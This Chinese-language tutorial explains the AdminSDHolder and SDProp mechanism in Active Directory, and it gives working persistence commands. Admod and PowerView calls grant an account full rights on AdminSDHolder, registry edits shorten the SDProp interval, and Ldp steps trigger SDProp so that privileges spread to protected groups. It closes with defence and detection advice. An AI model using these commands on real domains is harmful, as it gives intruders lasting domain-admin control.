AdminSDHolder安全解密
字数 1412 2025-08-09 13:33:47
AdminSDHolder安全机制详解与攻防实践
0x00 域内受保护的用户和组
在Active Directory中,一些高权限的用户和组被视为受保护的对象。这些受保护对象的权限设置和修改由一个自动过程完成,确保对象移动到其他目录时权限保持一致。
查询受保护对象
使用adfind工具查询受保护的用户和组:
# 查询受保护的组
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn
# 查询受保护的用户
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn
0x01 AdminSDHolder机制
1. AdminSDHolder对象
AdminSDHolder对象为域内受保护的用户和组提供权限"模板",其LDAP路径为:
CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>
权限特性:
- 默认由Domain Admins组拥有
- Enterprise Admins(EA)可以对任何域的AdminSDHolder对象进行更改
- Domain Admins和Administrators组也可以进行更改
- Administrators或Enterprise Admins成员可以获取该对象的所有权
2. SDProp进程
SDProp是一个关键进程,具有以下特性:
- 默认每60分钟在PDC模拟器(PDCE)角色的域控制器上运行
- 将AdminSDHolder对象的权限与受保护帐户和组的权限比较
- 如果不匹配,则重置受保护对象的权限以匹配AdminSDHolder
0x02 攻击利用
利用AdminSDHolder机制可实施权限维持攻击,核心思路是对AdminSDHolder添加ACL后等待SDProp同步。
前提条件
- 拥有对AdminSDHolder的WriteDACL权限的账户
1. 添加ACL
(1) 使用Admod工具
.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=testad,DC=local" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;testad\test1)}"
(2) 使用PowerView
注意:需使用Dev分支的PowerView,主分支功能不全
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName test1 -Verbose -Rights All
2. 执行SDProp
(1) 修改默认执行间隔
通过修改注册表调整SDProp执行频率:
# 修改执行间隔(单位:秒,范围60-7200)
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600
# 恢复默认值(删除注册表项)
reg delete hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency
(2) 手动触发SDProp
使用Ldp.exe工具手动执行:
- 启动Ldp.exe
- 连接 → 连接:输入PDC模拟器的FQDN或IP
- 连接 → 绑定:使用有修改权限的账户凭据
- 浏览 → 修改
不同域控版本操作差异:
-
Windows Server 2008:
- DN字段留空
- 编辑条目属性:
FixUpInheritance - 值:
Yes
-
Windows Server 2008 R2/2012:
- DN字段留空
- 编辑条目属性:
RunProtectAdminGroupsTask - 值:
1
最后点击"运行"执行修改。
3. 添加特权
SDProp执行后,受保护对象的ACL已同步,此时可对特权组/用户进行操作,例如添加域管组成员。
0x03 防御与检测
防御措施
- 严格控制对AdminSDHolder对象的WriteDACL权限
- 定期审计AdminSDHolder对象的ACL设置
- 监控注册表中AdminSDProtectFrequency值的修改
检测方法
- 监控事件ID 5136:记录对AdminSDHolder的ACL修改行为
- 定期检查受保护对象的权限设置
- 对比AdminSDHolder与受保护对象的ACL差异
总结
AdminSDHolder机制是Active Directory中重要的安全特性,但同时也可能被攻击者利用进行权限维持。了解其工作原理、攻击手法及防御措施,对于维护域环境安全至关重要。防御重点在于严格控制AdminSDHolder对象的修改权限,并通过日志监控及时发现异常行为。